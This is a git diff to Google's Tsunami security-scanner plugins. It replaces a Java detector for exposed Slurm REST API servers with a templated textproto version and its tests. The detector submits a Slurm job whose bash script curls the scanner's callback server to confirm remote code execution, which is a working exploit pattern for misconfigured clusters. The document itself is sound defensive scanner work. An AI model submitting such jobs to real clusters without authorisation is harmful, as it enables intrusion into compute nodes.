diff --git a/community/README.md b/community/README.md index e651c1cea..589905a8c 100644 --- a/community/README.md +++ b/community/README.md @@ -48,6 +48,7 @@ This directory contains plugins contributed by community members. * [Uptrain Exposed API VulnDetector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/uptrain_exposed_api) * [CVE-2025-0655 D-Tale Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/dtale_cve_2025_0655) * [Flowise Exposed UI Detector](https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/flowise_exposed_ui) +* [Exposed Slurm REST API Server Detector, now updated to Templated format](https://github.com/google/tsunami-security-scanner-plugins/tree/master/templated/templateddetector/plugins/exposedui/Slurm_ExposedUI.textproto) #### XML External Entity (XXE) Injection diff --git a/community/detectors/slurm_exposed_rest_api/README.md b/community/detectors/slurm_exposed_rest_api/README.md deleted file mode 100644 index 19bb19b1b..000000000 --- a/community/detectors/slurm_exposed_rest_api/README.md +++ /dev/null @@ -1,26 +0,0 @@ -# Slurm Exposed REST API - -his detector checks for an exposed Slurm REST API service by running an -arbitrary command using the Tsunami Callback Server. - -The Slurm Rest API requires authentication by default. However, a common -configuration involves using a reverse proxy that (in correctly-configured -environments) should authenticate the user first using some other methods and, -if successful, inject a JWT token into the request before forwarding it to the -Slurm REST API service. - -If the reverse proxy is misconfigured to simply forward the requests without any -authentication steps, it will allow anyone to use the API and therefore get RCE -by submitting malicious jobs to the cluster. - -- https://slurm.schedmd.com/rest.html#auth_proxy - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/slurm_exposed_rest_api/build.gradle b/community/detectors/slurm_exposed_rest_api/build.gradle deleted file mode 100644 index c33d9b89d..000000000 --- a/community/detectors/slurm_exposed_rest_api/build.gradle +++ /dev/null @@ -1,39 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Slurm Exposed REST API VulnDetector plugin.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - implementation "org.jspecify:jspecify:1.0.0" - - testImplementation "junit:junit:4.13.2" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" - testImplementation "com.google.inject.extensions:guice-testlib:6.0.0" -} diff --git a/community/detectors/slurm_exposed_rest_api/settings.gradle b/community/detectors/slurm_exposed_rest_api/settings.gradle deleted file mode 100644 index 525efeae3..000000000 --- a/community/detectors/slurm_exposed_rest_api/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'slurm_exposed_rest_api' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetector.java b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetector.java deleted file mode 100644 index 15f7ad921..000000000 --- a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetector.java +++ /dev/null @@ -1,224 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.rce; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; -import static com.google.tsunami.common.net.http.HttpRequest.get; -import static com.google.tsunami.common.net.http.HttpRequest.post; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.ForWebService; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.NotImplementedException; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.plugins.detectors.rce.SlurmExposedRestApiDetectorAnnotations.SlurmExposedRestApiOobSleepDuration; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import java.util.regex.Matcher; -import java.util.regex.Pattern; -import javax.inject.Inject; -import org.jspecify.annotations.Nullable; - -/** A {@link VulnDetector} that detects the exposed slurm rest server. */ -@ForWebService -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "SlurmExposedRestApiVulnDetector", - version = "0.1", - description = "This detector checks for an exposed Slurm REST API", - author = "lancedD00m", - bootstrapModule = SlurmExposedRestApiDetectorBootstrapModule.class) -public class SlurmExposedRestApiDetector implements VulnDetector { - - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private final PayloadGenerator payloadGenerator; - - @VisibleForTesting - static final String JOB_PAYLOAD = - "{" - + " \"job\": {" - + " \"name\": \"test\"," - + " \"ntasks\": 1," - + " \"current_working_directory\": \"/tmp\"," - + " \"environment\": [" - + " \"PATH:/bin:/usr/bin/:/usr/local/bin/\"," - + " \"LD_LIBRARY_PATH:/lib/:/lib64/:/usr/local/lib\"" - + " ]" - + " }," - + " \"script\": \"#!/bin/bash\\n %s\"" - + "}"; - - private final HttpClient httpClient; - private final Clock utcClock; - private final int oobSleepDuration; - - @Inject - SlurmExposedRestApiDetector( - HttpClient httpClient, - @UtcClock Clock utcClock, - PayloadGenerator payloadGenerator, - @SlurmExposedRestApiOobSleepDuration int oobSleepDuration) { - this.httpClient = checkNotNull(httpClient); - this.utcClock = checkNotNull(utcClock); - this.payloadGenerator = checkNotNull(payloadGenerator); - this.oobSleepDuration = oobSleepDuration; - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("SlurmRestApiDaemonRceVulnDetector starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("SlurmExposedRestApi")) - .setSeverity(Severity.CRITICAL) - .setTitle("Exposed Slurm REST API Server") - .setDescription( - "An exposed Slurm REST API server can be exploited by attackers to submit a job" - + " and therefore execute arbitrary OS-level commands on Slurm compute" - + " nodes") - .setRecommendation( - "Set proper authentication for the Slurm Rest API server and " - + "ensure the API is not publicly exposed through a " - + "misconfigured reverse proxy.") - .build()); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - final String rootUri = buildWebApplicationRootUrl(networkService); - - HttpResponse openapiV3Response = null; - try { - openapiV3Response = - httpClient.send(get(rootUri + "openapi/v3").withEmptyHeaders().build(), networkService); - } catch (IOException e) { - logger.atWarning().withCause(e).log("Request to target %s failed", rootUri); - return false; - } - if (openapiV3Response.status() != HttpStatus.OK || openapiV3Response.bodyString().isEmpty()) { - return false; - } - Matcher m = GET_PATTERN.matcher(openapiV3Response.bodyString().get()); - if (!m.find()) { - return false; - } - String apiVersion = m.group(1); - - var payload = getTsunamiCallbackHttpPayload(); - if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atWarning().log( - "The Tsunami callback server is not setup for this environment, so we cannot confirm the" - + " RCE callback"); - return false; - } - String cmd = payload.getPayload(); - - try { - // Submitting a slurm job - httpClient.send( - post(String.format(rootUri + "slurm/%s/job/submit", apiVersion)) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(String.format(JOB_PAYLOAD, cmd))) - .build(), - networkService); - } catch (RuntimeException | IOException e) { - logger.atWarning().withCause(e).log("Request to target %s failed", rootUri); - return false; - } - - // If there is an RCE, the execution isn't immediate - logger.atInfo().log("Waiting for RCE callback."); - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); - if (payload.checkIfExecuted()) { - logger.atInfo().log("RCE payload executed!"); - return true; - } - return false; - } - - private @Nullable Payload getTsunamiCallbackHttpPayload() { - try { - return this.payloadGenerator.generate( - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) - .setExecutionEnvironment( - PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) - .build()); - } catch (NotImplementedException n) { - return null; - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(this.getAdvisories().get(0)) - .build(); - } - - private static final Pattern GET_PATTERN = - Pattern.compile("\"\\\\/slurm\\\\/(v0.0.\\d\\d)\\\\/job\\\\/submit\""); -} diff --git a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorAnnotations.java b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorAnnotations.java deleted file mode 100644 index ea245fc41..000000000 --- a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorAnnotations.java +++ /dev/null @@ -1,35 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce; - -import static java.lang.annotation.ElementType.FIELD; -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Annotation for {@link SlurmExposedRestApiDetector}. */ -final class SlurmExposedRestApiDetectorAnnotations { - @Qualifier - @Retention(RetentionPolicy.RUNTIME) - @Target({PARAMETER, METHOD, FIELD}) - @interface SlurmExposedRestApiOobSleepDuration {} - - private SlurmExposedRestApiDetectorAnnotations() {} -} diff --git a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorBootstrapModule.java b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorBootstrapModule.java deleted file mode 100644 index dc776cc24..000000000 --- a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorBootstrapModule.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce; - -import com.google.inject.Provides; -import com.google.tsunami.plugin.PluginBootstrapModule; -import com.google.tsunami.plugins.detectors.rce.SlurmExposedRestApiDetectorAnnotations.SlurmExposedRestApiOobSleepDuration; - -/** - * An Exposed Slurm Rest Server Detector Guice module that bootstraps the {@link - * SlurmExposedRestApiDetector}. - */ -public final class SlurmExposedRestApiDetectorBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(SlurmExposedRestApiDetector.class); - } - - @Provides - @SlurmExposedRestApiOobSleepDuration - int provideOobSleepDuration(SlurmExposedRestApiDetectorConfigs configs) { - if (configs.oobSleepDuration == 0) { - return 10; - } - return configs.oobSleepDuration; - } -} diff --git a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorConfigs.java b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorConfigs.java deleted file mode 100644 index e4edc80c9..000000000 --- a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorConfigs.java +++ /dev/null @@ -1,23 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.rce; - -import com.google.tsunami.common.config.annotations.ConfigProperties; - -@ConfigProperties("plugins.community.detectors.slurm_exposed_rest_api") -final class SlurmExposedRestApiDetectorConfigs { - int oobSleepDuration; -} diff --git a/community/detectors/slurm_exposed_rest_api/src/test/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDaemonVuLnDetectorTest.java b/community/detectors/slurm_exposed_rest_api/src/test/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDaemonVuLnDetectorTest.java deleted file mode 100644 index effe0fdfd..000000000 --- a/community/detectors/slurm_exposed_rest_api/src/test/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDaemonVuLnDetectorTest.java +++ /dev/null @@ -1,176 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.rce; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.rce.SlurmExposedRestApiDetector.JOB_PAYLOAD; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.inject.testing.fieldbinder.Bind; -import com.google.inject.testing.fieldbinder.BoundFieldModule; -import com.google.inject.util.Modules; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.plugins.detectors.rce.SlurmExposedRestApiDetectorAnnotations.SlurmExposedRestApiOobSleepDuration; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.TargetInfo; -import java.io.IOException; -import java.nio.charset.StandardCharsets; -import java.security.SecureRandom; -import java.time.Instant; -import java.util.Arrays; -import java.util.Objects; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link SlurmExposedRestApiDetector}. */ -@RunWith(JUnit4.class) -public final class SlurmExposedRestApiDaemonVuLnDetectorTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2024-12-03T00:00:00.00Z")); - - private final MockWebServer mockTargetService = new MockWebServer(); - private final MockWebServer mockCallbackServer = new MockWebServer(); - - @Inject private SlurmExposedRestApiDetector detector; - - TargetInfo targetInfo; - NetworkService targetNetworkService; - private final SecureRandom testSecureRandom = - new SecureRandom() { - @Override - public void nextBytes(byte[] bytes) { - Arrays.fill(bytes, (byte) 0xFF); - } - }; - - @Bind(lazy = true) - @SlurmExposedRestApiOobSleepDuration - private int sleepDuration = 1; - - @Before - public void setUp() throws IOException { - mockCallbackServer.start(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder() - .setCallbackServer(mockCallbackServer) - .setSecureRng(testSecureRandom) - .build(), - Modules.override(new SlurmExposedRestApiDetectorBootstrapModule()) - .with(BoundFieldModule.of(this))) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockTargetService.shutdown(); - mockCallbackServer.shutdown(); - } - - @Test - public void detect_whenVulnerable_returnsVulnerability() throws IOException { - startMockWebServer(); - mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); - - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(targetNetworkService) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(detector.getAdvisories().get(0)) - .build()); - assertThat(mockTargetService.getRequestCount()).isEqualTo(2); - assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); - } - - @Test - public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { - startMockWebServer(); - mockCallbackServer.enqueue(new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code())); - DetectionReportList detectionReports = - detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - assertThat(mockTargetService.getRequestCount()).isEqualTo(2); - } - - private void startMockWebServer() throws IOException { - final Dispatcher dispatcher = - new Dispatcher() { - @Override - public MockResponse dispatch(RecordedRequest request) { - if (Objects.equals(request.getPath(), "/openapi/v3") - && request.getMethod().equals("GET") - && request.getBody().readString(StandardCharsets.UTF_8).isEmpty()) { - return new MockResponse() - .setBody( - "\"\\/slurm\\/v0.0.39\\/job\\/submit\": " - + "{\"post\": {\"tags\": [\"slurm\"],},") - .setResponseCode(200); - } - if (request.getPath().matches("/slurm/v0\\.0\\.\\d\\d/job/submit") - && request.getMethod().equals("POST") - && request.getBody().readString(StandardCharsets.UTF_8).isEmpty() - && request - .getBody() - .readString(StandardCharsets.UTF_8) - .startsWith(JOB_PAYLOAD.substring(0, 60))) { - return new MockResponse().setResponseCode(200); - } - return new MockResponse().setResponseCode(403); - } - }; - mockTargetService.setDispatcher(dispatcher); - mockTargetService.start(); - - targetNetworkService = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) - .addSupportedHttpMethods("POST") - .build(); - targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) - .build(); - } -} diff --git a/templated/templateddetector/plugins/exposedui/Slurm_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/Slurm_ExposedUI.textproto new file mode 100644 index 000000000..2ddc02d6b --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Slurm_ExposedUI.textproto @@ -0,0 +1,104 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Slurm_ExposedUI" + author: + "Robert Dick (robert@doyensec.com) for templated version, " + "lancedD00m for original Java version" + version: "2.0" +} + +finding: { + main_id: { + publisher: "TSUNAMI_COMMUNITY" + value: "Slurm_ExposedUI" + } + severity: CRITICAL + title: "Exposed Slurm REST API Server" + description: + "An exposed Slurm REST API server can be exploited by attackers to submit a job" + " and therefore execute arbitrary OS-level commands on Slurm compute" + " nodes" + recommendation: + "Set proper authentication for the Slurm Rest API server and " + "ensure the API is not publicly exposed through a " + "misconfigured reverse proxy." +} + +########### +# ACTIONS # +########### + +actions: { + name: "fingerprint_slurm_version" + http_request: { + method: GET + uri: "/openapi/v3" + response: { + http_status: 200 + extract_all: { + patterns: [ + { + from_body: {} + regexp: '\"\\\\/slurm\\\\/(v0.0.\\d\\d)\\\\/job\\\\/submit\"' + variable_name: "SLURM_VERSION" + } + ] + } + } + } +} + +actions: { + name: "execute_command" + http_request: { + method: POST + uri: "/slurm/{{ SLURM_VERSION }}/job/submit" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: + "{" + " \"job\": {" + " \"name\": \"test\"," + " \"ntasks\": 1," + " \"current_working_directory\": \"/tmp\"," + " \"environment\": [" + " \"PATH:/bin:/usr/bin/:/usr/local/bin/\"," + " \"LD_LIBRARY_PATH:/lib/:/lib64/:/usr/local/lib\"" + " ]" + " }," + " \"script\": \"#!/bin/bash\\n curl {{ T_CBS_URI }}\"" + "}" + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 5000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_CALLBACK_SERVER + actions: [ + "fingerprint_slurm_version", + "execute_command", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/exposedui/Slurm_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/Slurm_ExposedUI_test.textproto new file mode 100644 index 000000000..be717792c --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/Slurm_ExposedUI_test.textproto @@ -0,0 +1,76 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Slurm_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/openapi/v3" + status: 200 + body_content: + '\"\\/slurm\\/v0.0.01\\/job\\/submit\"' + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: + "..." + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsNotVuln" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/openapi/v3" + status: 200 + body_content: + "\"\\\\/slurm\\\\/v0.0.01\\\\/job\\\\/submit\"" + }, + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: + "..." + } + ] + } +} + +tests: { + name: "whenRandomServer_returnsFalse" + expect_vulnerability: false + + + mock_http_server: { + mock_responses: [ + { + uri: "TSUNAMI_MAGIC_ANY_URI" + status: 200 + body_content: "Hello world" + } + ] + } +}